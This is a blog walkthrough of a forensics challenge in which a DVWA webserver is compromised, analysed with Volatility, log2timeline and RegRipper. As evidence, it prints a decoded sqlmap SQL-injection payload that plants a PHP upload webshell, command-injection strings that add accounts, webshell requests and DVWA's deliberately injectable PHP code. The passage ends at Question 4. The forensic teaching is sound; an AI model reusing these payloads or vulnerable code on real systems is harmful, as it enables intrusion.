Sunday, November 29, 2015

Solving the Binary Zone Forensic Challenge #4

In this blog post I'll be talking about about an awesome forensic challenge put on by a friend - @binaryz0ne in September 2015. The challenge can be found here: http://www.binary-zone.com/2015/09/16/digital-forensic-challenge-4/

As @hiddenillusion taught me, "sharing is caring". Hopefully my analysis will help others who are interested in forensics and are interested in deep dive analysis. I also remember a tweet from him regarding doing forensics "dongle free" which rang true for this exercise. Finally, my friend @wesleyriley always reminds me that we (analysts) do blogs as they are great reference materials for ourselves!

I want to provide a technical walk through of how one could do analysis for this intrusion scenario. Each question that has an analytical component has some or all of the technical steps I used to arrive at my finding listed first. Summary answers are listed at the end of the question.

The challenge specifies that we all work should be done with open source tools. I used several during my analysis.
  • Volatility 2.4 - http://www.volatilityfoundation.org/#!24/c12wa
    • Volatility 2.5 is out, download and use it when you try this challenge on your own. It can be downloaded here - http://www.volatilityfoundation.org/#!25/c1f29
  • Sift 3.0 - SANS has grouped an awesome amount of tools in once place, and made everything super easy to install. I went the VM route and created a SIFT VM based on their instructions:
    • Download Ubuntu 14.04 ISO file and install Ubuntu 14.04 on any system. -> http://www.ubuntu.com/download/desktop
    • Once installed, open a terminal and run "wget --quiet -O - https://raw.github.com/sans-dfir/sift-bootstrap/master/bootstrap.sh | sudo bash -s -- -i -s -y" 
The scenario is that a company's webserver has been compromised and they have reached out for third party (you!) analysis of the disk and memory based artifacts. Luckily, we were able to arrive on-site and pull disk and memory with the system still powered on.

Question 1: What type of attacks has been performed on the box?

Luckily for us we have a couple threads to pull on. The first being that we have a compromised webserver. The second is that the some of the questions hint at an attacker adding account(s) and tools to the victim webserver.

My approach was to dive into memory analysis and try to answer as much as I could there first. I've mentioned publicly before in my presentation Memory Forensics for IR - Leveraging Volatility to Hunt Advanced Actors that there is a wealth of information to be found in memory. Intrusion investigations greatly benefit from memory analysis due to the amount of artifacts that attackers leave behind. In some cases, there are artifacts that can only be found in memory. Some examples include malware and malware based artifacts (malicious code, configuration data) and Windows registry data like Shimcache.

After confirming my memory image hash matched what was provided by our client, I first focused on question 2. If there are user accounts added to a machine, memory is a great starting point. Let's see what type of webserver we're tackling. I used Volatility here to fingerprint the OS.

gmucfrs$ vol.py -f memdump.mem imageinfo

Determining profile based on KDBG search...

          Suggested Profile(s) : VistaSP1x86, Win2008SP1x86, Win2008SP2x86, VistaSP2x86
                     AS Layer1 : IA32PagedMemoryPae (Kernel AS)
                     AS Layer2 : FileAddressSpace (/mnt/hgfs/Challenges/binaryzone_9-16-15/memory/memdump.mem)
                      PAE type : PAE
                           DTB : 0x122000L
                          KDBG : 0x81716c90
          Number of Processors : 1
     Image Type (Service Pack) : 1
                KPCR for CPU 0 : 0x81717800
             KUSER_SHARED_DATA : 0xffdf0000
           Image date and time : 2015-09-03 10:04:05 UTC+0000
     Image local date and time : 2015-09-03 03:04:05 -0700


Since it's a Window's host, let's see what the kernel debugger block says and compare against the imageinfo command.

gmucfrs$ vol.py -f memdump.mem kdbgscan

Volatility Foundation Volatility Framework 2.4
**************************************************
Instantiating KDBG using: /mnt/hgfs/Challenges/binaryzone_9-16-15/memory/memdump.mem WinXPSP2x86 (5.1.0 32bit)
Offset (P)                    : 0x1716c90
KDBG owner tag check          : True
Profile suggestion (KDBGHeader): Win2008SP1x86
Version64                     : 0x1716c68 (Major: 15, Minor: 6001)
PsActiveProcessHead           : 0x8172c990
PsLoadedModuleList            : 0x81736c70
KernelBase                    : 0x8161f000
<snip>

The Win2008SP1x86 looked like a good starting point and ended up being correct. I later pulled the SYSTEM registry hive and confirmed this was a Windows Server 2008 with Service Pack 1.

One other thing I always try to do is understand the time frame the system was up and running for which my memory image was taken for. To do this I compare the Windows SYSTEM hive's key: "ControlSet001\Control\Windows" which gives me the systems last shutdown time against the image time pulled from Volatility's imageinfo command (above). Volatility has added a new plugin in version 2.5 to pull this key's last update time called "shutdowntime" which makes life easier.

Output from Volatility's imageinfo command against the image (full output above):

Image date and time : 2015-09-03 10:04:05 UTC+0000
gmucfrs$ vol.py -f memdump.mem --profile=Win2008SP1x86 printkey -K "ControlSet001\Control\Windows"

Volatility Foundation Volatility Framework 2.4
Legend: (S) = Stable   (V) = Volatile
----------------------------
Registry: \REGISTRY\MACHINE\SYSTEM
Key name: Windows (S)
Last updated: 2015-08-24 07:14:20 UTC+0000
After comparing the two, we know we have a memory sample which encompasses ~10 days of up-time, which is a great thing as we aren't always as lucky to have memory from a system that has been up and running for so long.

Next I pulled the network connections and looked for anything of interest

gmucfrs$ vol.py -f memdump.mem --profile=Win2008SP1x86 netscan

Below is  truncated listing of network connections. Highlights include established and closed connections with the IP address 192.168.56.1 over port 5357 and closed/residual connections with the same IP. The process httpd.exe tells us we have an Apache webserver running and we also have a MYSQL server running/listening through the mysqld.exe.

Network Connections of Interest
There were a lot of PID 1108 SVCHOST.exe processes running - knowing that we had an established connection with one of these processes I began to dig deeper. To do this I dumped all the PID 1108's processes memory and ran ASCII and Unicode strings against it to see what shook out.

gmucfrs$ vol.py -f memdump.mem --profile=Win2008SP1x86 memdump -p 1108 -D ./1108proc

Volatility Foundation Volatility Framework 2.4
Writing svchost.exe [  1108] to 1108.dmp

gmucfrs$ strings -a 1108.dmp > 1108strings.txt (creates ASCII stings for the 1108.dmp file)
gmucfrs$ strings -a -el 1108.dmp >> 1108strings.txt (creates & appends UNICDOE strings to the strings file)

After reviewing the process strings I saw several things of interest: There were many strings for DVWA with URL path's for SQLi, XSS and other vulnerability folders. DVWA, or damn vulnerable web application (http://www.dvwa.co.uk/) is an vulnerable webserver/application that is used for practicing the process of securing web servers and related web applications.

Some strings of interest related to SQLi  and URL encoded commands:
  • Damn Vulnerable Web Application (DVWA) v1.8
  • Referer: http://192.168.56.101/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit
  • Referer: http://192.168.56.101/dvwa/setup.php act=cmd&d=C%3A%5Cxampp%5Chtdocs%5CDVWA%5C&cmd=dir&cmd_txt=1&submit=Execute
  • Referer: http://192.168.56.101/dvwa/c99.php?act=cmdact=cmd&d=C%3A%5Cxampp%5Chtdocs%5CDVWA%5C&cmd=netstat+-an&cmd_txt=1&submit=Execute
  • /dvwa/vulnerabilities/sqli/?id=2%27%20UNION%20ALL%20SELECT%20NULL%2CCONCAT%280x717a717871%2CIFNULL%28CAST%28CURRENT_USER%28%29%20AS%20CHAR%29%2C0x20%29%2C0x7170706271%29--%20&Submit=Submit HTTP/1.1
At this point I knew that I likely had some evidence that the attacker at 192.168.56.1 was involved with attempting to exploit our victim 192.168.56.101 - which was a vulnerable webserver running Damn Vulnerable Web Application. Next, I used Volatility to dump the process memory for the SVCHOST.exe (PID 1108). Strings are a good starting point in attempts to gain more info about the process and what was going on.

I figured I could go back to our Apache "access.log" log file and start working the disk side of the house. First I needed to mount our raw (.DD) disk image, but needed to understand the drive details. Specifically our starting sector and our sector size with The Sleuth Kit ver 4.1.3's MMLS, which is baked into our Sift installation. We could also use our native Linux fdisk to find out this information with this command: fdisk -l s4a-challenge4

gmucfrs$ mmls -B s4a-challenge4 
DOS Partition Table
Offset Sector: 0
Units are in 512-byte sectors

    Desc      Slot        Start        End             Length        Size          
00:  Meta    0000000000   0000000000    0000000001     0512B     PrimaryTable(#0)
01:  -----   0000000000   0000002047    0000002048     1024K     Unallocated
02:  00:00   0000002048   0052426751    0052424704     0024G     NTFS (0x07)
03:  -----   0052426752   0052428799    0000002048     1024K     Unallocated


We can see that we have multiple partitions, 02 is NTFS and is ~24 gigabytes in size. The starting sector is 2048, our sectors are 512 bytes in size. We need to multiply the starting sector by the sector size to get the offset needed to mount the NTFS partition.

gmucfrs$ mount -t ntfs-3g -o loop,ro,nodev,noatime,show_sys_files,streams_interface=windows,offset=1048576 s4a-challenge4 /home/gmucfrs/Desktop/mount_points/windows_mount

The drive was mounted successfully. We confirmed this by using the native Linux df command.
gmucfrs$ df -h

/dev/loop0       25G  8.0G   18G  32% /mnt/windows_mount

Next I kicked off a timeline with log2timeline.py. I did a sudo su before hand to elevate privileges.

gmucfrs$ log2timeline.py ./timeline/timeline.body s4a-challenge4
root@siftworkstation:/mnt/hgfs/Challenges/binaryzone_9-16-15/host image# mkdir timeline
root@siftworkstation:/mnt/hgfs/Challenges/binaryzone_9-16-15/host image# log2timeline.py ./timeline/timeline.body s4a-challenge4 

[INFO] Data files will be loaded from /usr/share/plaso by default.
Source path : /mnt/hgfs/Challenges/binaryzone_9-16-15/host image/s4a-challenge4
Processing started.
2015-11-25 15:25:17,660 [INFO] (MainProcess) PID:27657 <interface> [PreProcess] Set attribute: sysregistry to /Windows/System32/config
2015-11-25 15:25:19,351 [INFO] (MainProcess) PID:27657 <interface> [PreProcess] Set attribute: osversion to Windows Server (R) 2008 Standard
<SNIP>

Now I processed the body file into a CSV:

gmucfrs$ psort.py -o l2tcsv -w timeline.csv timeline.body
[INFO] Data files will be loaded from /usr/share/plaso by default.
[INFO] Output processing is done.
*********************************** Counter ************************************
            Stored Events : 705295
          Events Included : 705249
       Duplicate Removals : 319492

Q1 answers: What type of attacks has been performed on the box?

(more detail provided later on this)



  • A webshell that provided a Windows reverse shell was established which allowed for an attacker to run arbitrary commands on the victim webserver. This was performed with the "administrator" account on the webserver.
  • The Apache access.log log file shows successful SQL Injection activity from the attackers IP address of 192.168.56.102.
  • Question 2: How many users has the attacker(s) added to the box, and how were they added?

    While the timeline was processing, I pivoted to question 2 - "How many users has the attacker(s) added to the box, and how were they added?" Since we had memory, I wanted to see what attacker activity might exist related to command history, which could lead to account creation. The Volatility plugin "consoles" immediately came to mind as this can provide Windows command shell activity by enumerating the console information that lives in csrss.exe processes (in our sample csrss.exe PID's 484 and 524) while also scraping the screen buffer detail from the cmd.exe console itself. 

    All of this is outlined in great detail the Volatility team's awesome book "The Art of Memory Forensics". I simply cannot recommend this incredible resource enough.

    gmucfrs$ vol.py -f memdump.mem --profile=Win2008SP1x86 psscan | grep csrss
    Volatility Foundation Volatility Framework 2.4
    0x000000003f512208 csrss.exe           484    472 0x3f4a7060 2015-08-23 20:27:22 UTC+0000           0x000000003f52d530 csrss.exe           524    516 0x3f4a70a0 2015-08-23 20:27:28 UTC+0000  

    This was one of the most fruitful pivots during my investigation here - a goldmine of command line activity was found. I'll give an abbreviated output which relates to Q2 and the user account additions.

    gmucfrs$ vol.py -f memdump.mem --profile=Win2008SP1x86 consoles
    ----
    CommandHistory: 0x5a24708 Application: cmd.exe Flags: Allocated, Reset
    CommandCount: 17 LastAdded: 16 LastDisplayed: 16
    FirstCommand: 0 CommandCountMax: 50
    ProcessHandle: 0x2d8
    Cmd #0 at 0xe907c8: ipconfig
    Cmd #1 at 0xe91af8: cls
    Cmd #2 at 0xe91db0: ipconfig
    Cmd #3 at 0x5a34bd0: net user user1 user1 /add
    Cmd #4 at 0x5a34eb8: net user user1 root@psut /add
    Cmd #5 at 0x5a34c10: net user user1 Root@psut /add
    Cmd #6 at 0x5a24800: cls
    Cmd #7 at 0x5a34c58: net /?
    Cmd #8 at 0x5a34d88: net localgroup /?
    Cmd #9 at 0x5a34f48: net localgroup "Remote Desktop Users" user1 /add

    C:\Users\Administrator>net localgroup "Remote Desktop Users" user1 /add         

    The command completed successfully.  

    Where possible it's helpful to duplicate our analysis with other tools or techniques. Since the csrss.exe PID's are 484 and 524, we can leverage Volatility's yarascan plugin to scan process memory against these:

    gmucfrs$ vol.py -f memdump.mem --profile=Win2008SP1x86 yarascan -p 524 --wide --yara-rules="user1"


    Volatility Foundation Volatility Framework 2.4
    Rule: r1
    Owner: Process csrss.exe Pid 524
    0x05a196ba  75 00 73 00 65 00 72 00 31 00 20 00 2f 00 61 00   u.s.e.r.1.../.a.
    0x05a196ca  64 00 64 00 20 00 20 00 20 00 20 00 20 00 20 00   d.d.............
    0x05a196da  20 00 20 00 20 00 54 00 68 00 65 00 20 00 63 00   ......T.h.e...c.
    0x05a196ea  6f 00 6d 00 6d 00 61 00 6e 00 64 00 20 00 63 00   o.m.m.a.n.d...c.
    0x05a196fa  6f 00 6d 00 70 00 6c 00 65 00 74 00 65 00 64 00   o.m.p.l.e.t.e.d.
    0x05a1970a  20 00 73 00 75 00 63 00 63 00 65 00 73 00 73 00   ..s.u.c.c.e.s.s.

    0x05a1971a  66 00 75 00 6c 00 6c 00 79 00 2e 00 20 00 20 00   f.u.l.l.y.......

    We can see a success for the account creation for the user "user1".

    Going back through our strings of PID 1108 there's an entry for web activity that appears to have caught account creation activity for an account "hacker" from what appears to be the IP 192.168.56.102

    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.2.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Cookie: security=low; PHPSESSID=14fe301rno6vq8tsiicedeua01
    Connection: keep-alive
    gma: no-cache
    Cache-Control: no-cache,no-store
    : close
    Pragma: no-cache
    Cache-Control: no-cache,no-store
    Content-Length: 94

    ip=192.168.56.102+%26%26+net+localgroup+%22Remote+Desktop+Users%22+hacker+%2Fadd&submit=submit$

    After URL un-encoding we have:
    ip=192.168.56.102+&&+net+localgroup+"Remote+Desktop+Users"+hacker+/add&submit=submit$

    We also have another string in the 1108 process that appear to have caught the addition of the account too through a net user command:

    6.102+%26%26+net+user+hacker+hacker+/add&submit=submit

    The Apache process (PID 2880) also had strings of activity related to the addition of the hacker account, and the addition of that account to the local group "Remote Desktop Users":

    Zp6.102+%26%26+net+user+hacker+hacker+/add&submit=submit
    net user hacker /add
    "ip=192.168.56.102+%26%26+net+localgroup+%22Remote+Desktop+Users%22+hacker+%2Fadd&submit=submit$"
    net localgroup Remote Desktop Users hacker /add

    Unfortunately consoles and yarascan didn't pick up the hacker account creation like it did for the "user1" account. The attacker may have created it in another fashion. Let's use Volatility to dump the Windows account hashes and see what shakes out.

    gmucfrs$ vol.py -f memdump.mem --profile=Win2008SP1x86 hashdump
    Volatility Foundation Volatility Framework 2.4

    Administrator:500:aad3b435b51404eeaad3b435b51404ee:63d6a39b8467b94ae92ab1931d4079dd:::
    Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
    user1:1005:aad3b435b51404eeaad3b435b51404ee:817875ce4794a9262159186413772644:::
    hacker:1006:aad3b435b51404eeaad3b435b51404ee:817875ce4794a9262159186413772644:::

    Since I wanted to have some timeline information about use account creations I used RegRipper to parse the Windows SAM registry hive (C:\windows\system32\config/SAM). RegRipper is a fantastic tool for parsing the registry that is leveraged from the CLI or from a Windows GUI. The SIFT 3.0 workstation has it baked in. I found where it was located - "locate rip.pl" and navigated to  "/usr/local/bin" for execution.

    gmucfrs$ perl rip.pl -r '/home/gmucfrs/Desktop/mount_points/windows_mount/Windows/System32/config/SAM' -f sam

    Username        : user1 [1005]
    Full Name       :
    User Comment    :
    Account Type    : Custom Limited Acct
    Account Created : Wed Sep  2 09:05:06 2015 Z
    Last Login Date : Never
    Pwd Reset Date  : Wed Sep  2 09:05:06 2015 Z
    Pwd Fail Date   : Never
    Login Count     : 0
      --> Normal user account

    Username        : hacker [1006]
    Full Name       :
    User Comment    :
    Account Type    : Custom Limited Acct
    Account Created : Wed Sep  2 09:05:25 2015 Z
    Last Login Date : Never
    Pwd Reset Date  : Wed Sep  2 09:05:25 2015 Z
    Pwd Fail Date   : Never
    Login Count     : 0

      --> Normal user account

    These user's match up to what we found when we ran through Volatility's hashdump plugin. We also see the successful addition of both accounts to the Group "Remote Desktop Users". This corroborates the user account activity we saw and can likely be tied back to webshell or a reverse shell.

    Group Name    : Remote Desktop Users [2]
    LastWrite     : Wed Sep  2 09:19:24 2015 Z
    Group Comment : Members in this group are granted the right to logon remotely
    Users :
      S-1-5-21-3848053756-3249532031-1848221756-1005

      S-1-5-21-3848053756-3249532031-1848221756-1006

    Q2 answers: How many users has the attacker(s) added to the box, and how were they added?

    Two new user account were added to the victim webserver by the attacker - "user1" and "hacker". Both were added via net user commands which were issued via a Windows reverse command shell.

    Question3: What leftovers (files, tools, info, etc) did the attacker(s) leave behind? (assume our team arrived in time and the attacker(s) couldn’t clean & cover their tracks).

    To answer this question I wanted to firm up some of the findings from memory analysis. Specifically, I wanted to look more into the disk aspect of the investigation. Since we knew that there was an Apache server running a great place to start is the "access.log" log file. After mounting our evidence I was able to run the locate file to find it:

    gmucfrs$ locate access.log

    /mnt/windows_mount/xampp/apache/logs/access.log

    Since we were told that we got there while the attacker was recently active I started at the end of the log file and worked towards the beginning. I ran into successful SQL injection on Sep1 2015 10:04 PM (GMT). 

    192.168.56.102 - - [02/Sep/2015:04:25:52 -0700] "GET /dvwa/vulnerabilities/sqli/?id=2%27%20LIMIT%200%2C1%20INTO%20OUTFILE%20%27%2Fxampp%2Fhtdocs%2Ftmpukudk.php%27%20LINES%20TERMINATED%20BY%200x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d5c5c78616d70705c5c6874646f63735c5c3e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a--%20--%20&Submit=Submit HTTP/1.1" 200 4893 "-" "sqlmap/1.0-dev-nongit-20150902 (http://sqlmap.org)"

    The decoded hex showed a successful upload of the webshell  "tmpudvfh.php" with the tool SQLMAP.

    GET /dvwa/vulnerabilities/sqli/?id=2' LIMIT 0,1 INTO OUTFILE '/xampp/htdocs/tmpudvfh.php' LINES TERMINATED BY <?php if (isset($_REQUEST["upload"])){$dir=$_REQUEST["uploadDir"];if (phpversion()<'4.1.0'){$file=$HTTP_POST_FILES["file"]["name"];@move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"],$dir."/".$file) or die();}else{$file=$_FILES["file"]["name"];@move_uploaded_file($_FILES["file"]["tmp_name"],$dir."/".$file) or die();}@chmod($dir."/".$file,0755);echo "File uploaded";}else {echo "<form action=".$_SERVER["PHP_SELF"]." method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploader</b><br><input name=file type=file><br>to directory: <input type=text name=uploadDir value=\\xampp\\htdocs\\> <input type=submit name=upload value=upload></form>";}?> &Submit=Submit

    I started to go through the log with some of the IOC's that I knew, the webshell(s), the user account names and so on in efforts to figure out what tools and artifacts were left on the victim webserver. I parsed the Administror's account "NTUSER.dat" hive and found wordpad activity related to c99.php:

    LastVisitedPidlMRU
    LastWrite: Thu Sep  3 07:20:37 2015
    Note: All value names are listed in MRUListEx order.

      wordpad.exe - My Computer\C:\xampp\htdocs\DVWA

    OpenSavePidlMRU
    LastWrite: Thu Sep  3 07:20:37 2015
    OpenSavePidlMRU\*
    LastWrite Time: Thu Sep  3 07:20:37 2015
    Note: All value names are listed in MRUListEx order.

      My Computer\C:\xampp\htdocs\DVWA\c99.php

    OpenSavePidlMRU\php
    LastWrite Time: Thu Sep  3 07:20:37 2015
    Note: All value names are listed in MRUListEx order.

      My Computer\C:\xampp\htdocs\DVWA\c99.php

    OpenSavePidlMRU\rtf
    LastWrite Time: Thu Sep  3 07:20:33 2015
    Note: All value names are listed in MRUListEx order.

    I decided to take a quick look at the webshell itself. It was quite large and appeared to have a bunch of expected webshell functionality. Walking through the timeline csv from I also was able to deduce that the attacker added "Owned by Hacker" using wordpad on September 3 2015 07:20 PM (UTC). This came from the above NTUSER.dat parsing and reviewing the last modified time of c99.php along with the other most recently used (MRU) registry artifacts.

    the attacker added text to c99.php

    Since we knew that the administrator account was a main pivot point of the attacker, I pivoted over to parse the SAM hive:

    gmucfrs$ perl rip.pl -r '/home/gmucfrs/Desktop/mount_points/windows_mount/Windows/System32/config/SAM' -f sam

    Walking my timeline output CSV file I also found that the attacker added a file "data.txt" at the location C:\Documents and Settings\Administrator\ which contained the text "hello" on 9/2/15 at 9:32 AM UTC. Long entries were verified in the Apache access.log file. HTTP POST requests here are likely when then the .102 attacker is writing data to the victim's filesystem using an "exec" or execution vulnerability.

    192.168.56.102 - - [02/Sep/2015:02:32:03 -0700] "POST /dvwa/vulnerabilities/exec/ HTTP/1.1" 200 5207 "http://192.168.56.101/dvwa/vulnerabilities/exec/" "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.2.0"

    192.168.56.102 - - [02/Sep/2015:02:32:22 -0700] "POST /dvwa/vulnerabilities/exec/ HTTP/1.1" 200 5746 "http://192.168.56.101/dvwa/vulnerabilities/exec/" "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.2.0"

    192.168.56.102 - - [02/Sep/2015:02:33:00 -0700] "POST /dvwa/vulnerabilities/exec/ HTTP/1.1" 200 5794 "http://192.168.56.101/dvwa/vulnerabilities/exec/" "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.2.0"

    192.168.56.102 - - [02/Sep/2015:02:33:23 -0700] "GET /dvwa/vulnerabilities/fi/?page=../../../../../../users/administrator/data.txt HTTP/1.1" 200 3641 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.2.0"


    In attempts to confirm my suspicious navigated to "/xampp/htdocs/DVWA/vulnerabilities/exec" seen below:

    /xampp/htdocs/DVWA/vulnerabilities/exec folder
    The contents of xampp\htdocs\DVWA\vulnerabilties\exec\index.php are posteded below. The PHP code allows an attacker to accept a victim IP and leverage three different reverse shells - "low.php", "medium.php" and "high.php". This is a basic but successful attack vector. We've seen attacker HTTP user agents that previously reference these status's discussed earlier. An example was: Cookie: security=low; PHPSESSID=14fe301rno6vq8tsiicedeua01. As expected interaction is provide via HTTP POST's. They even provided commented code :)

    <?php
    define( 'DVWA_WEB_PAGE_TO_ROOT', '../../' );
    require_once DVWA_WEB_PAGE_TO_ROOT.'dvwa/includes/dvwaPage.inc.php';
    dvwaPageStartup( array( 'authenticated', 'phpids' ) );
    $page = dvwaPageNewGrab();
    $page[ 'title' ] .= $page[ 'title_separator' ].'Vulnerability: Brute Force';
    $page[ 'page_id' ] = 'exec';
    dvwaDatabaseConnect();
    $vulnerabilityFile = '';
    switch( $_COOKIE[ 'security' ] ) {
    case 'low':
    $vulnerabilityFile = 'low.php';
    break;
    case 'medium':
    $vulnerabilityFile = 'medium.php';
    break;
    case 'high':
    default:
    $vulnerabilityFile = 'high.php';
    break;
    }
    require_once DVWA_WEB_PAGE_TO_ROOT."vulnerabilities/exec/source/{$vulnerabilityFile}";
    $page[ 'help_button' ] = 'exec';
    $page[ 'source_button' ] = 'exec';
    $page[ 'body' ] .= "
    <div class=\"body_padded\">
    <h1>Vulnerability: Command Execution</h1>
    <div class=\"vulnerable_code_area\">
    <h2>Ping for FREE</h2>
    <p>Enter an IP address below:</p>
    <form name=\"ping\" action=\"#\" method=\"post\">
    <input type=\"text\" name=\"ip\" size=\"30\">
    <input type=\"submit\" value=\"submit\" name=\"submit\">
    </form>

    Here is the code for "low.php":

    <?php
    if( isset( $_POST[ 'submit' ] ) ) {
    $target = $_REQUEST[ 'ip' ];

    // Determine OS and execute the ping command.

    if (stristr(php_uname('s'), 'Windows NT')) {
    $cmd = shell_exec( 'ping  ' . $target );
    $html .= '<pre>'.$cmd.'</pre>';
    } else {
    $cmd = shell_exec( 'ping  -c 3 ' . $target );
    $html .= '<pre>'.$cmd.'</pre>';
    }
    }
    ?>

    Here is the code for "medium.php":

    <?php
    if( isset( $_POST[ 'submit'] ) ) {
    $target = $_REQUEST[ 'ip' ];
    // Remove any of the charactars in the array (blacklist).
    $substitutions = array(
    '&&' => '',
    ';' => '',
    );
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.

    if (stristr(php_uname('s'), 'Windows NT')) { 
    $cmd = shell_exec( 'ping  ' . $target );
    $html .= '<pre>'.$cmd.'</pre>';
    } else { 
    $cmd = shell_exec( 'ping  -c 3 ' . $target );
    $html .= '<pre>'.$cmd.'</pre>';
    }
    }
    ?>

    Here is the code for "high.php":

    <?php
    if( isset( $_POST[ 'submit' ] ) ) {
    $target = $_REQUEST["ip"];
    $target = stripslashes( $target );

    // Split the IP into 4 octects

    $octet = explode(".", $target);

    // Check IF each octet is an integer

    if ((is_numeric($octet[0])) && (is_numeric($octet[1])) && (is_numeric($octet[2])) && (is_numeric($octet[3])) && (sizeof($octet) == 4)  ) {

    // If all 4 octets are int's put the IP back together.

    $target = $octet[0].'.'.$octet[1].'.'.$octet[2].'.'.$octet[3];

    // Determine OS and execute the ping command.

    if (stristr(php_uname('s'), 'Windows NT')) { 
    $cmd = shell_exec( 'ping  ' . $target );
    $html .= '<pre>'.$cmd.'</pre>';
    } else { 
    $cmd = shell_exec( 'ping  -c 3 ' . $target );
    $html .= '<pre>'.$cmd.'</pre>';
    }
    }
    else {
    $html .= '<pre>ERROR: You have entered an invalid IP</pre>';
    }
    }
    ?>

    Additionally the Apache Access log revealed successfully attacker command line interaction from 192.168.56.102 with the webshell "phpshell.php" starting on Sep 3 2015 at 07:16 AM (GMT), as seen below:

    192.168.56.102 - - [03/Sep/2015:00:16:13 -0700] "GET /dvwa/hackable/uploads/phpshell.php?cmd=dir HTTP/1.1" 200 419 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.2.0"

    192.168.56.102 - - [03/Sep/2015:00:17:49 -0700] "GET /dvwa/hackable/uploads/phpshell.php?cmd=dir%20C:\\ HTTP/1.1" 200 1934 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.2.0"

    192.168.56.102 - - [03/Sep/2015:00:17:58 -0700] "GET /dvwa/hackable/uploads/phpshell.php?cmd=mkdir%20abc HTTP/1.1" 200 - "-" "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.2.0"

    192.168.56.102 - - [03/Sep/2015:00:18:02 -0700] "GET /dvwa/hackable/uploads/phpshell.php?cmd=dir HTTP/1.1" 200 463 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.2.0"


    Commands Issued (above):
    dir
    dir C:\
    mkdir abc
    dir

    Volatility's consoles plugin gave us a wealth of attacker commands, some were covered earlier related to the account creation section:

    ******************
    Attacker Commands: 
    CommandHistory: 0x5a24708 Application: cmd.exe 
    ******************
    Cmd #0 @ 0xe907c8: ipconfig
    Cmd #1 @ 0xe91af8: cls
    Cmd #2 @ 0xe91db0: ipconfig
    Cmd #3 @ 0x5a34bd0: net user user1 user1 /add
    Cmd #4 @ 0x5a34eb8: net user user1 root@psut /add
    Cmd #5 @ 0x5a34c10: net user user1 Root@psut /add
    Cmd #6 @ 0x5a24800: cls
    Cmd #7 @ 0x5a34c58: net /?
    Cmd #8 @ 0x5a34d88: net localgroup /?
    Cmd #9 @ 0x5a34f48: net localgroup "Remote Desktop Users" user1 /add
    Cmd #10 @ 0x5a34c70: net /?
    Cmd #11 @ 0xe911b0: netsh /?
    Cmd #12 @ 0xe907e8: netsh firewall /?
    Cmd #13 @ 0xe91218: netsh firewall set service type = remotedesktop /?
    Cmd #14 @ 0xe91288: netsh firewall set service type = remotedesktop enable
    Cmd #15 @ 0xe91300: netsh firewall set service type=remotedesktop mode=enable
    Cmd #16 @ 0xe91380: netsh firewall set service type=remotedesktop mode=enable scope=subnet


    CommandProcess: csrss.exe Pid: 524
    CommandHistory: 0x5a30950 Application: cmd.exe 

    Cmd #0 @ 0xe91970: netsh fireall set service type=remotedesktop mode=enable scope=subnet
    Cmd #1 @ 0x5a17b58: netsh firewall set service type=remotedesktop mode=enable scope=subnet
    Cmd #38 @ 0x5a30bc8:                
    Cmd #39 @ 0x5a24890: et.exe
    Cmd #48 @ 0x5a24890: et.exe
    Cmd #49 @ 0xe91af8: cls

    Q3 answers: What leftovers (files, tools, info, etc) did the attacker(s) leave behind? (assume our team arrived in time and the attacker(s) couldn’t clean & cover their tracks)

    The attacker left behind Windows enumeration activities on the victim in memory, on the filesystem and in the registry.

    The attacker leveraged SQL injection to upload the webshell tmpudvfh.php with the tool SQLMAP.
    They also modified a webshell, c99.php, with wordpad to include the text "Owned by Hacker". The file data.txt was also added to the victim webserver. Finally, the attacker leveraged a 3 pronged PHP reverse shell to traverse and enumerate the victim server directly.

    Question 4: What software has been installed on the box, and were they installed by the attacker(s) or not?

